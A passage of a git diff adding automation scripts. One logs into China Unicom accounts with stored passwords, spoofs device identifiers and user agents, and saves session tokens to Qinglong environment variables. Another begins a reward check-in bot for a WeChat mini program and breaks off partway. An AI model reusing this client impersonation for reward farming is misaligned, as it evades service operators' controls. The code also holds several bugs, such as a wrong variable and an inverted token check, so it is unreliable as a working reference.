") + data = { + "appToken":f"{WXPUSHER_TOKEN}", + "content":f"{content}", + "summary":f"{title}", + "contentType":contentType, + "topicIds":[ + f'{WXPUSHER_TOPIC_ID}' + ], + "verifyPay":False + } + response = requests.post( + url=url, data=json.dumps(data), headers=headers, timeout=15 + ).json() + + if response["code"] == 1000: + print("wxpusher推送成功!") + else: + print("wxpusher推送失败!") + print(f"wxpusher推送出错响应内容:{response}" ) + + +ql_auth_path = '/ql/data/config/auth.json' +ql_config_path = '/ql/data/config/config.sh' +#判断环境变量 +flag = 'new' +if not os.path.exists(ql_auth_path): + ql_auth_path = '/ql/config/auth.json' + ql_config_path = '/ql/config/config.sh' + if not os.path.exists(ql_config_path): + ql_config_path = '/ql/config/config.js' + flag = 'old' +# ql_auth_path = r'D:\Docker\ql\config\auth.json' +ql_url = 'http://localhost:5600' + + +def __get_token() -> str or None: + with open(ql_auth_path, 'r', encoding='utf-8') as f: + j_data = json.load(f) + return j_data.get('token') + + +def __get__headers() -> dict: + headers = { + 'Accept': 'application/json', + 'Content-Type': 'application/json;charset=UTF-8', + 'Authorization': 'Bearer ' + __get_token() + } + return headers + +# 封装读取环境变量的方法 +def get_cookie(key, default="", output=True): + def no_read(): + if output: + print_now(f"未填写环境变量 {key} 请添加") + return default + return get_cookie_data(key) if get_cookie_data(key) else no_read() + +#获取ck +def get_cookie_data(name): + ck_list = [] + remarks_list = [] + cookie = None + cookies = get_config_and_envs(name) + for ck in cookies: + data_temp = {} + if ck["name"] != name: + continue + if ck.get('status') == 0: + # ck_list.append(ck.get('value')) + # 直接添加CK + ck_list.append(ck) + # if len(ck_list) < 1: + # print('变量{}共配置{}条CK,请添加环境变量,或查看环境变量状态'.format(name,len(ck_list))) + return ck_list + +# 修改print方法 避免某些环境下python执行print 不会去刷新缓存区导致信息第一时间不及时输出 +def print_now(content): + print(content) + stdout.flush() + + +# 查询环境变量 +def get_envs(name: str = None) -> list: + params = { + 't': int(time.time() * 1000) + } + if name is not None: + params['searchValue'] = name + res = requests.get(ql_url + '/api/envs', headers=__get__headers(), params=params) + j_data = res.json() + if j_data['code'] == 200: + return j_data['data'] + return [] + + +# 查询环境变量+config.sh变量 +def get_config_and_envs(name: str = None) -> list: + params = { + 't': int(time.time() * 1000) + } + #返回的数据data + data = [] + if name is not None: + params['searchValue'] = name + res = requests.get(ql_url + '/api/envs', headers=__get__headers(), params=params) + j_data = res.json() + if j_data['code'] == 200: + data = j_data['data'] + with open(ql_config_path, 'r', encoding='utf-8') as f: + while True: + # Get next line from file + line = f.readline() + # If line is empty then end of file reached + if not line : + break; + #print(line.strip()) + exportinfo = line.strip().replace("\"","").replace("\'","") + #去除注释#行 + rm_str_list = re.findall(r'^#(.+?)', exportinfo,re.DOTALL) + #print('rm_str_list数据:{}'.format(rm_str_list)) + exportinfolist = [] + if len(rm_str_list) == 1: + exportinfo = "" + #list_all = re.findall(r'export[ ](.+?)', exportinfo,re.DOTALL) + #print('exportinfo数据:{}'.format(exportinfo)) + #以export分隔,字符前面新增标记作为数组0,数组1为后面需要的数据 + list_all = ("标记"+exportinfo.replace(" ","").replace(" ","")).split("export") + #print('list_all数据:{}'.format(list_all)) + if len(list_all) > 1: + #以=分割,查找需要的环境名字 + tmp = list_all[1].split("=") + if len(tmp) > 1: + + info = tmp[0] + if name in info: + #print('需要查询的环境数据:{}'.format(tmp)) + data_tmp = [] + data_json = { + 'id': None, + 'value': tmp[1], + 'status': 0, + 'name': name, + 'remarks': "", + 'position': None, + 'timestamp': int(time.time()*1000), + 'created': int(time.time()*1000) + } + if flag == 'old': + data_json = { + '_id': None, + 'value': tmp[1], + 'status': 0, + 'name': name, + 'remarks': "", + 'position': None, + 'timestamp': int(time.time()*1000), + 'created': int(time.time()*1000) + } + #print('需要的数据:{}'.format(data_json)) + data.append(data_json) + #print('第二次配置数据:{}'.format(data)) + return data + + +# 新增环境变量 +def post_envs(name: str, value: str, remarks: str = None) -> list: + params = { + 't': int(time.time() * 1000) + } + data = [{ + 'name': name, + 'value': value + }] + if remarks is not None: + data[0]['remarks'] = remarks + res = requests.post(ql_url + '/api/envs', headers=__get__headers(), params=params, json=data) + j_data = res.json() + if j_data['code'] == 200: + return j_data['data'] + return [] + + +# 修改环境变量1,青龙2.11.0以下版本(不含2.11.0) +def put_envs_old(_id: str, name: str, value: str, remarks: str = None) -> bool: + params = { + 't': int(time.time() * 1000) + } + + data = { + 'name': name, + 'value': value, + '_id': _id + } + + if remarks is not None: + data['remarks'] = remarks + res = requests.put(ql_url + '/api/envs', headers=__get__headers(), params=params, json=data) + j_data = res.json() + if j_data['code'] == 200: + return True + return False + + +# 修改环境变量2,青龙2.11.0以上版本(含2.11.0) +def put_envs_new(_id: int, name: str, value: str, remarks: str = None) -> bool: + params = { + 't': int(time.time() * 1000) + } + + data = { + 'name': name, + 'value': value, + 'id': _id + } + + if remarks is not None: + data['remarks'] = remarks + res = requests.put(ql_url + '/api/envs', headers=__get__headers(), params=params, json=data) + j_data = res.json() + if j_data['code'] == 200: + return True + return False + + +# 禁用环境变量 +def disable_env(_id: str) -> bool: + params = { + 't': int(time.time() * 1000) + } + data = [_id] + res = requests.put(ql_url + '/api/envs/disable', headers=__get__headers(), params=params, json=data) + j_data = res.json() + if j_data['code'] == 200: + return True + return False + + +# 启用环境变量 +def enable_env(_id: str) -> bool: + params = { + 't': int(time.time() * 1000) + } + data = [_id] + res = requests.put(ql_url + '/api/envs/enable', headers=__get__headers(), params=params, json=data) + j_data = res.json() + if j_data['code'] == 200: + return True + return False + +# 删除环境变量 +def delete_env(_id: str) -> bool: + params = { + 't': int(time.time() * 1000) + } + data = [_id] + res = requests.delete(ql_url + '/api/envs', headers=__get__headers(), params=params, json=data) + j_data = res.json() + if j_data['code'] == 200: + return True + return False + + + + +def base64_encode(data): + message_bytes = data.encode('utf-8') # 将字符串转换为字节型 + base64_data = base64.b64encode(message_bytes) #进行加密 + # base64_data = base64.b64encode(data) # 进行加密 + # print(base64_data,type(base64_data),len(base64_data)) + base64_data = base64_data.decode('utf-8') + return base64_data + +def base64_decode(data): + #base64_bytes = data.encode('utf-8') + message_bytes = base64.b64decode(data) + message = message_bytes.decode('utf-8') + return message + + + +# WXPUSHER_TOKEN +WoChangYouCK_WXPUSHER_TOKEN_temp = get_cookie("WoChangYouCK_WXPUSHER_TOKEN") +if WoChangYouCK_WXPUSHER_TOKEN_temp != "" and len(WoChangYouCK_WXPUSHER_TOKEN_temp)>0: + WXPUSHER_TOKEN = WoChangYouCK_WXPUSHER_TOKEN_temp[0]["value"] + +# WXPUSHER_TOPIC_ID +WoChangYouCK_WXPUSHER_TOPIC_ID_temp = get_cookie("WoChangYouCK_WXPUSHER_TOPIC_ID") +if WoChangYouCK_WXPUSHER_TOPIC_ID_temp != "" and len(WoChangYouCK_WXPUSHER_TOPIC_ID_temp)>0: + WXPUSHER_TOPIC_ID = WoChangYouCK_WXPUSHER_TOPIC_ID_temp[0]["value"] + +msg = "" +isDebugger = False + +# 是否生成沃畅游access_token参数提交至青龙环境,默认False不生成,需要生成请填入True +IsWoChangYouCK = False +IsWoChangYouCK_temp = get_cookie("IsWoChangYouCK") +if IsWoChangYouCK_temp != "" and len(IsWoChangYouCK_temp)>0: + IsWoChangYouCKStr = IsWoChangYouCK_temp[0]["value"] + if IsWoChangYouCKStr == "True": + IsWoChangYouCK = True + +# 是否生成联通app参数提交至青龙环境,默认False不生成,需要生成请填入True +IsChinaUnicomParam = False +IsChinaUnicomParam_temp = get_cookie("IsChinaUnicomParam") +if IsChinaUnicomParam_temp != "" and len(IsChinaUnicomParam_temp)>0: + IsChinaUnicomParamStr = IsChinaUnicomParam_temp[0]["value"] + if IsChinaUnicomParamStr == "True": + IsChinaUnicomParam = True +# 生成token后添加到指定环境变量 +envName = "chinaUnicomCookie" +ChinaUnicomEnvName_temp = get_cookie("ChinaUnicomEnvName") +if ChinaUnicomEnvName_temp != "" and len(ChinaUnicomEnvName_temp)>0: + envName = ChinaUnicomEnvName_temp[0]["value"] +# 生成的多账号使用的拼接连接符,默认使用& +chatMoreStr = "&" +ChinaUnicomParam_chatMoreStr_temp = get_cookie("ChinaUnicomParam_chatMoreStr") +if ChinaUnicomParam_chatMoreStr_temp != "" and len(ChinaUnicomParam_chatMoreStr_temp)>0: + chatMoreStr = ChinaUnicomParam_chatMoreStr_temp[0]["value"] +# 是否拼接appid,默认False不拼接,需要拼接请填入True +chinaUnicomParam_flag = False +ChinaUnicomParam_flag_temp = get_cookie("ChinaUnicomParam_flag") +if ChinaUnicomParam_flag_temp != "" and len(ChinaUnicomParam_flag_temp)>0: + chinaUnicomParam_flagStr = ChinaUnicomParam_flag_temp[0]["value"] + if chinaUnicomParam_flagStr == "True": + chinaUnicomParam_flag = True +# appid和token_online之间的拼接符号,默认使用# +chatStr = "#" +ChinaUnicomParam_chatStr_temp = get_cookie("ChinaUnicomParam_chatStr") +if ChinaUnicomParam_chatStr_temp != "" and len(ChinaUnicomParam_chatStr_temp)>0: + chatStr = ChinaUnicomEnvName_temp[0]["value"] +# 拼接appid是在token_online前面还是后面,1代表前面,2代表后面,默认appid在前面 +appidIndex = 1 +ChinaUnicomParam_appidIndex_temp = get_cookie("ChinaUnicomParam_appidIndex") +if ChinaUnicomParam_appidIndex_temp != "" and len(ChinaUnicomParam_appidIndex_temp)>0: + appidIndex = ChinaUnicomParam_appidIndex_temp[0]["value"] + +# 需要提交青龙的联通参数 +dataParam = "" + +class RSA_Encrypt: + def __init__(self, key): + if isinstance(key, str): + # 若提供的rsa公钥不为pem格式 则先将hex转化为pem格式 + # self.key = bytes.fromhex(key) if "PUBLIC KEY" not in key else key.encode() + self.key = self.public_key(key) if "PUBLIC KEY" not in key else key.encode() + else: + print("提供的公钥格式不正确") + + def public_key(self, rsaExponent, rsaModulus=10001): + e = int(rsaExponent, 16) + n = int(rsaModulus, 16) # snipped for brevity + pubkey = construct((n, e)).export_key() + return pubkey + + def encrypt(self, data, b64=False): + data = data.encode('utf-8') + length = len(data) + default_length = 117 + pub_key = importKey(self.key) + cipher = PKCS1_v1_5.new(pub_key) + if length < default_length: + rsa_text = cipher.encrypt(data) + return b64encode(rsa_text).decode() if b64 else rsa_text.hex() + offset = 0 + res = [] + while length - offset > 0: + if length - offset > default_length: + res.append(cipher.encrypt(data[offset:offset + default_length])) + else: + res.append(cipher.encrypt(data[offset:])) + offset += default_length + byte_data = b''.join(res) + return b64encode(byte_data).decode() if b64 else byte_data.hex() + + + +class UnicomLogin: + def __init__(self, phone: str, password: str): + self.rsa_key = "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDc+CZK9bBA9IU+gZUOc6FUGu7y\nO9WpTNB0PzmgFBh96Mg1WrovD1oqZ+eIF4LjvxKXGOdI79JRdve9NPhQo07+uqGQ\ngE4imwNnRx7PFtCRryiIEcUoavuNtuRVoBAm6qdB0SrctgaqGfLgKvZHOnwTjyNq\njBUxzMeQlEC2czEMSwIDAQAB\n-----END PUBLIC KEY-----" + self.phone_num = phone.rstrip("\n") + self.password = password.rstrip("\n") + self.deviceId = uuid4().hex + self.appid = str(random.randint(0, 10))+"f"+str(random.randint(0, 10))+"af"+str(random.randint(0, 10))+str(random.randint(0, 10))+"ad"+str(random.randint(0, 10))+"912d306b5053abf90c7ebbb695887bc870ae0706d573c348539c26c5c0a878641fcc0d3e90acb9be1e6ef858a59af546f3c826988332376b7d18c8ea2398ee3a9c3db947e2471d32a49612" + self.access_token = "" + self.UA = "Mozilla/5.0 (Linux; Android 13; LE2100 Build/TP1A.220905.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/103.0.5060.129 Mobile Safari/537.36; unicom{version:android@11.0300,desmobile:"+self.phone_num+"};devicetype{deviceBrand:OnePlus,deviceModel:LE2100};{yw_code:}" + + + def login_unicom(self): + global dataParam + # print_now(self.phone_num+"---------"+self.password) + headers = { + 'Host': 'm.client.10010.com', + 'Accept': '*/*', + # 'User-Agent': 'ChinaUnicom.x CFNetwork iOS/15.0.1 unicom{version:iphone_c@11.0300}', + 'User-Agent': self.UA, + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + 'Content-Type': 'application/x-www-form-urlencoded', + } + data = f"isFirstInstall=1&simCount=1&yw_code=&deviceOS=android13&mobile={quote(RSA_Encrypt(self.rsa_key).encrypt(self.phone_num, b64=True))}&netWay=Wifi&version=android%4011.0300&deviceId={self.deviceId}&password={quote(RSA_Encrypt(self.rsa_key).encrypt(self.password, b64=True))}&keyVersion=&provinceChanel=general&appId=ChinaunicomMobileBusiness&deviceModel=LE2100&androidId={uuid4().hex[8:24]}&deviceBrand=×tamp={datetime.today().__format__('%Y%m%d%H%M%S')}" + + # data = { + # "version": "iphone_c@10.0700", + # "mobile": quote(RSA_Encrypt(self.rsa_key).encrypt(self.phone_num, b64=True)), + # "appId": self.appid, + # "deviceId": self.deviceId, + # "password": quote(RSA_Encrypt(self.rsa_key).encrypt(self.password, b64=True)), + # } + response = requests.post('https://m.client.10010.com/mobileService/login.htm', headers=headers,data=data) + data = response.json() + # print_now(f"{data}") + self.ecs_token = data.get("ecs_token") + if data.get("code") == '4': + print_now(f'账号【{self.phone_num}】账号密码错误,跳过') + return self.ecs_token + self.token_online = data.get("token_online") + if self.token_online == "" or self.token_online is None: + print_now(f'账号【{self.phone_num}】获取token_online失败,成功获取到【appid】:{self.appid}') + return self.ecs_token + else: + print_now(f'账号【{self.phone_num}】成功获取到【token_online】:{self.token_online}\n账号【{self.phone_num}】成功获取到【ecs_token】:{self.ecs_token}\n账号【{self.phone_num}】成功获取到【appid】:{self.appid}\n账号【{self.phone_num}】成功获取到【deviceId】:{self.deviceId}') + + # 拼接参数appid + if chinaUnicomParam_flag == True or chinaUnicomParam_flag == "True": + # 在前 + if appidIndex == 1: + print_now(f'账号【{self.phone_num}】生成appid+token为:\n{self.appId}{chatStr}{self.token_online}') + # 使用chatMoreStr拼接 + dataParam = dataParam+chatMoreStr+self.appid+chatStr+self.token_online; + else: + # 在后 + dataParam = dataParam+chatMoreStr+self.token_online+chatStr+self.appid; + else: + # 使用chatMoreStr拼接 + dataParam = dataParam+chatMoreStr+self.token_online; + return self.ecs_token + + + # 方式一登录沃畅游 + def get_wo_speed_ticket(self): + if self.ecs_token == "" or self.ecs_token is None: + return "" + + cookies = { + 'ecs_token': self.ecs_token, + } + + headers = { + 'Host': 'm.client.10010.com', + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@10.0700}', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + 'Referer': 'https://m.client.10010.com', + } + + params = { + 'to_url': 'https://web.wostore.cn/web/flowGame/index.html?channelId=GAMELTAPP_90006', + } + + response = requests.get( + 'https://m.client.10010.com/mobileService/openPlatform/openPlatLineNew.htm', + params=params, + cookies=cookies, + headers=headers, + allow_redirects=False + ) + location = response.headers['Location'] + return location[location.find("ticket=") + len('ticket='):location.rfind("&versio")] + + + def wo_speed_login_one(self): + if self.ticket == "" or self.ticket is None: + return "" + headers = { + 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'https://web.wostore.cn', + 'Referer': 'https://web.wostore.cn/', + 'Sec-Fetch-Dest': 'empty', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Site': 'same-site', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/109.0.0.0', + 'accept': 'application/json', + 'channelId': 'GAMELTAPP_90005', + 'device': '8', + 'rnVersion': '', + 'versionCode': '', + } + + json_data = { + 'identityType': 'ticketToken', + 'code': self.ticket, + 'uuid': '3cc1b0ff-ddb4-49dc-9e87-4d51811f7ea1', + } + + response = requests.post('https://game.wostore.cn/api/app/user/v2/login', headers=headers, json=json_data) + d = response.json().get('data') + if not d or d == "": + print_now(f"可能是首次登录沃畅游。无法获取access_token,可先手动去联通app首页--5g新通信--联通畅游--个人中心,登录一下") + return "" + access_token = d.get('access_token',None) + if not access_token and access_token != "": + return access_token + else: + print_now(f"可能是首次登录沃畅游。无法获取access_token,可先手动去联通app首页--5g新通信--联通畅游--个人中心,登录一下") + return "" + + + + # 方式二登录 + def wo_speed_login_two(self): + if self.ecs_token == "" or self.ecs_token is None: + return "" + count = 0 + while True: + if count < 3 and self.access_token == "": + count = self.login(count) + if self.access_token == "": + print_now(f"休眠3秒,再次请求获取access_token\n\n") + time.sleep(3) + else: + break + if self.access_token == "": + print_now(f"可能是首次登录沃畅游。无法获取access_token,可先手动去联通app首页--5g新通信--联通畅游,登录一下") + + + def login(self,count): + url = 'https://m.client.10010.com/mobileService/openPlatform/openPlatLineNew.htm?to_url=https://web.wostore.cn/web/flowGame/index.html?channelId=GAMELTAPP_90006&pushid=99' + headers = { + 'Content-Type': 'application/json;charset=utf-8', + # "User-Agent": "Mozilla/5.0 (Linux; Android 13; LE2100 Build/TP1A.220905.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/103.0.5060.129 Mobile Safari/537.36; unicom{version:android@10.0600,desmobile:"+self.phone_num+"};devicetype{deviceBrand:OnePlus,deviceModel:LE2100};{yw_code:}", + "Cookie": "ecs_token=" + self.ecs_token + } + try: + response = requests.get(url, headers=headers,allow_redirects=False) + # print_now(f"【{time.strftime('%Y-%m-%d %H:%M:%S')}】 ---- 【{self.phone_num}】发送成功,响应:{response.headers}") + # 获取location + location = response.headers.get("location",None) + headers["User-Agent"] = "Mozilla/5.0 (Linux; Android 13; LE2100 Build/TP1A.220905.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/103.0.5060.129 Mobile Safari/537.36; unicom{version:android@10.0600,desmobile:"+self.phone_num+"};devicetype{deviceBrand:OnePlus,deviceModel:LE2100};{yw_code:}" + # 获取ticket、channelId + ticket = "" + channelId = "" + + if location is not None and location != "": + key_value = location.split("?")[1].split("&") + for i in range(len(key_value)): + key_value_temp = key_value[i].split("=") + if key_value_temp[0] == "ticket": + ticket = key_value_temp[1] + if key_value_temp[0] == "channelId": + channelId = key_value_temp[1] + + # 登录 + url = 'https://web.wostore.cn/api/app//user/v2/login' + headers["channelId"] = channelId + data = { + 'identityType': 'esToken', + 'code': self.ecs_token, + 'ticket': ticket, + 'uuid': "3cc1b0ff-ddb4-49dc-9e87-4d51811f7ea1" + } + # print_now(f'location:{location}\ticket:{ticket}\nheaders:{headers}\ndata:{data}') + response = requests.post(url, headers=headers, data=json.dumps(data)) + text = response.json() + # print_now(f"【{time.strftime('%Y-%m-%d %H:%M:%S')}】 ---- 【{self.phone_num}】 登录成功,响应:{text}\n") + self.access_token = "" + if text["code"] == 200: + data = text["data"] + access_token = data["access_token"] + # print_now(f'账号{self.phone_num}登录成功,成功获取access_token,额外需要使用时请复制保存: {access_token}\n') + if access_token is None or access_token == "": + self.access_token = "" + count += 1 + else: + self.access_token = access_token + else: + print_now(f"【{time.strftime('%Y-%m-%d %H:%M:%S')}】 ---- 【{self.phone_num}】 登录请求响应:{text}\n") + self.access_token = "" + count += 1 + except Exception as e: + count += 1 + print_now(f"\n\n账号{self.phone_num}登录请求出现错误,出错响应内容:{e}\n\n正在第{count}次重试中。。。" ) + self.access_token = "" + return count + + + + def deal_data(self): + global msg + global IsWoChangYouCK + if self.access_token == "" or self.access_token is None: + print_now(f'账号【{self.phone_num}】获取access_token失败') + msg += f'账号【{self.phone_num}】获取access_token失败\n\n' + return "" + print_now(f'账号【{self.phone_num}】成功获取到【access_token】:{self.access_token}\n请复制保存使用') + # 是否填入 + if IsWoChangYouCK == False or IsWoChangYouCK is None: + print_now(f'系统设置不写入access_token至青龙环境') + return "" + else: + print_now(f'系统设置写入access_token至青龙环境,开始写入。。。') + try: + # 获取沃畅游CK + cklist_temp = get_cookie("WoChangYouCK") + flag_temp = False + if len(cklist_temp)>0: + for i in range(len(cklist_temp)): + ck_temp = cklist_temp[i] + if ck_temp["remarks"] == phone: + flag_temp = True + put_flag = True + if flag == "old": + _id = ck_temp.get("_id",None) + if not _id: + _id = ck_temp["id"] + put_flag = put_envs_new(_id, ck_temp['name'], self.access_token, phone) + else: + put_flag = put_envs_old(_id, ck_temp['name'], self.access_token, phone) + # print("进入旧版本青龙禁用方法") + # disable_env(_id) + # delete_env(_id) + elif flag == "new": + put_flag = put_envs_new(ck_temp["id"], ck_temp['name'], self.access_token, phone) + # print("进入新版本青龙禁用方法") + # disable_env(ck_temp["id"]) + # delete_env(ck_temp["id"]) + if put_flag: + print_now(f"账号【{self.phone_num}】自动更新access_token至青龙环境:WoChangYouCK 备注为:{phone}") + msg += f"账号【{phone}】自动更新access_token至青龙环境:WoChangYouCK 备注为:{phone}\n\n" + else: + print_now(f"账号【{self.phone_num}】自动更新access_token至青龙环境:失败") + msg += f"账号【{phone}】自动更新access_token至青龙环境:失败\n\n" + if not flag_temp: + post_envs("WoChangYouCK", self.access_token, phone) + print_now(f"账号【{self.phone_num}】自动新增access_token至青龙环境:WoChangYouCK 备注为:{phone}") + msg += f"账号【{phone}】自动新增access_token至青龙环境:WoChangYouCK 备注为:{phone}\n\n" + except Exception as e: + print_now(f"【{time.strftime('%Y-%m-%d %H:%M:%S')}】 ---- 【{phone}】 登录失败,错误信息:{e}\n") + msg += f"【{time.strftime('%Y-%m-%d %H:%M:%S')}】 ---- 【{phone}】 登录失败,错误信息:{e}\n\n" + + + def main(self): + self.login_unicom() + # 方式一登录 + # self.ticket = self.get_wo_speed_ticket() + # self.access_token = self.wo_speed_login_one() + # 方式二登录 + self.wo_speed_login_two() + self.deal_data() + + +# 将生成的环境变量填入青龙环境中 +def post_data_to_env(): + global msg + global dataParam + # 是否填入 + if IsChinaUnicomParam == False or IsChinaUnicomParam is None: + print_now(f'系统设置不写入token_online至青龙环境') + return "" + else: + print_now(f'系统设置写入token_online至青龙环境,开始写入。。。') + # 截取第一位拼接参数 + if len(dataParam)>1: + dataParam = dataParam[1:] + else: + print_now(f'未获取到token_online参数') + return "" + try: + # 获取环境CK + cklist_temp = get_cookie(envName) + flag_temp = False + if len(cklist_temp)>0: + for i in range(len(cklist_temp)): + ck_temp = cklist_temp[i] + if ck_temp["remarks"] == "由“联通和沃畅游密码登录”脚本自动生成": + flag_temp = True + put_flag = True + if flag == "old": + _id = ck_temp.get("_id",None) + if not _id: + _id = ck_temp["id"] + put_flag = put_envs_new(_id, ck_temp['name'], dataParam, "由“联通和沃畅游密码登录”脚本自动生成") + else: + put_flag = put_envs_old(_id, ck_temp['name'], dataParam, "由“联通和沃畅游密码登录”脚本自动生成") + # print("进入旧版本青龙禁用方法") + # disable_env(_id) + # delete_env(_id) + elif flag == "new": + put_flag = put_envs_new(ck_temp["id"], ck_temp['name'], dataParam, "由“联通和沃畅游密码登录”脚本自动生成") + # print("进入新版本青龙禁用方法") + # disable_env(ck_temp["id"]) + # delete_env(ck_temp["id"]) + if put_flag: + print_now(f"已将全部正常执行生成联通参数的账号,自动更新至青龙环境:{envName} 由“联通和沃畅游密码登录”脚本自动生成") + msg += f"已将全部正常执行生成联通参数的账号,自动更新至青龙环境:{envName} 由“联通和沃畅游密码登录”脚本自动生成\n\n" + else: + print_now(f"全部正常执行生成联通参数的账号,自动更新至青龙环境:失败") + msg += f"全部正常执行生成联通参数的账号,自动更新至青龙环境:失败\n\n" + if not flag_temp: + post_envs(envName, dataParam, "由“联通和沃畅游密码登录”脚本自动生成") + print_now(f"已将全部正常执行生成联通参数的账号,自动新增至青龙环境:{envName} 备注为:由“联通和沃畅游密码登录”脚本自动生成") + msg += f"已将全部正常执行生成联通参数的账号,自动新增至青龙环境:{envName} 备注为:由“联通和沃畅游密码登录”脚本自动生成\n\n" + except Exception as e: + print_now(f"【{time.strftime('%Y-%m-%d %H:%M:%S')}】 ---- 联通和沃畅游密码登录脚本生成参数提交青龙失败,错误信息:{e}\n") + msg += f"【{time.strftime('%Y-%m-%d %H:%M:%S')}】 ---- 联通和沃畅游密码登录脚本生成参数提交青龙失败,错误信息:{e}\n\n" + + +def start(phone,password): + ul = UnicomLogin(phone,password) + ul.main() + +if __name__ == "__main__": + l = [] + ck_list = [] + cklist = get_cookie("WoChangYouCK_PSW") + for i in range(len(cklist)): + + #多账号以#分割开的ck + split1 = cklist[i]['value'].split("#") + #多账号以@分割开的ck + split2 = cklist[i]['value'].split("@") + #多账号以换行\n分割开的ck + split3 = cklist[i]['value'].split("\n") + remarks = cklist[i].get("remarks",None) + if len(split1)>1: + for j in range(len(split1)): + info = {} + info['value'] = split1[j] + info['remarks'] = split1[j].split("&")[0] + ck_list.append(info) + elif len(split2)>1: + for j in range(len(split2)): + info = {} + info['value'] = split2[j] + info['remarks'] = split2[j].split("&")[0] + ck_list.append(info) + elif len(split3)>1: + for j in range(len(split3)): + info = {} + info['value'] = split3[j] + info['remarks'] = split3[j].split("&")[0] + ck_list.append(info) + else: + if remarks is None or remarks == "": + cklist[i]['remarks'] = cklist[i]['value'] + ck_list.append(cklist[i]) + if len(ck_list)<1: + print_now('未添加CK,退出程序~') + exit(0) + + + for i in range(len(ck_list)): + ck = ck_list[i] + data = ck.get("value",None) + if data is None: + print_now("当前账号未填写 跳过\n") + continue + tmp_list = data.split("&") + if len(tmp_list)<2: + print_now("参数不齐 跳过\n") + continue + phone = tmp_list[0] + password = tmp_list[1] + print_now(f'开始执行第 {i+1} 个账号:{phone}') + start(phone,password) + #解决随机时间问题 + ran_time = random.randint(3, 5) + if isDebugger == False and i != (len(ck_list)-1): + print_now(f"随机休眠{ran_time}秒,执行下一个账号操作\n\n") + time.sleep(ran_time) + else: + print_now("\n\n") + # 最后写入联通 + post_data_to_env() + if WXPUSHER_TOKEN != "" and WXPUSHER_TOPIC_ID != "" and msg != "": + wxpusher("联通和沃畅游密码登录",msg) diff --git a/脚本库/微信小程序/抓包版/臭宝乐园/2025-06-28_臭宝乐园_abd99e11.js b/脚本库/微信小程序/抓包版/臭宝乐园/2025-06-28_臭宝乐园_abd99e11.js new file mode 100644 index 0000000..aaf7474 --- /dev/null +++ b/脚本库/微信小程序/抓包版/臭宝乐园/2025-06-28_臭宝乐园_abd99e11.js @@ -0,0 +1,169 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E8%87%AD%E5%AE%9D%E4%B9%90%E5%9B%AD.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E8%87%AD%E5%AE%9D%E4%B9%90%E5%9B%AD.js +// # Repo: jdqlscript/toulu +// # Path: 臭宝乐园.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: abd99e11219d5db720c17836b4f69202320cecd65c42f8cf70ab848b1029a204 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: smallfawn +@Date: 2024.06.09 12.51 +@Description: 臭宝乐园小程序 签到换螺蛳粉 +------------------------------------------ +变量名choubao +变量值 https://cbxcx.weinian.com.cn/wnuser 请求头Headers中authorization的值 多账号&或换行或新建同名变量 +[Script] +http-response + +[MITM] +hostname = + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const $ = new Env("臭宝乐园"); +let ckName = `choubao`; +let userCookie = checkEnv( + ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "" +); +const notify = $.isNode() ? require("./sendNotify") : ""; + +!(async () => { + console.log( + `==================================================\n 脚本执行 - 北京时间(UTC+8): ${new Date( + new Date().getTime() + + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000 + ).toLocaleString()} \n==================================================` + ); + //console.log(userCookie) + if (!userCookie?.length) return console.log(`没有找到CK哦`); + let index = 1; + let strSplitor = "#"; + + for (let user of userCookie) { + $.log(`\n🚀 user:【${index}】 start work\n`); + index++ + $.token = user + $.ckFlag = true; + await getUserInfo() + if ($.ckFlag) { + await signInCheck() + await $.wait(3000) + } + + } + + await $.sendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function signInCheck() { + let config = { + method: 'POST', + url: 'https://cbxcx.weinian.com.cn/wnuser/v1/memberUser/checkSignNum', + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220089 MMWEBSDK/20240404 MMWEBID/8150 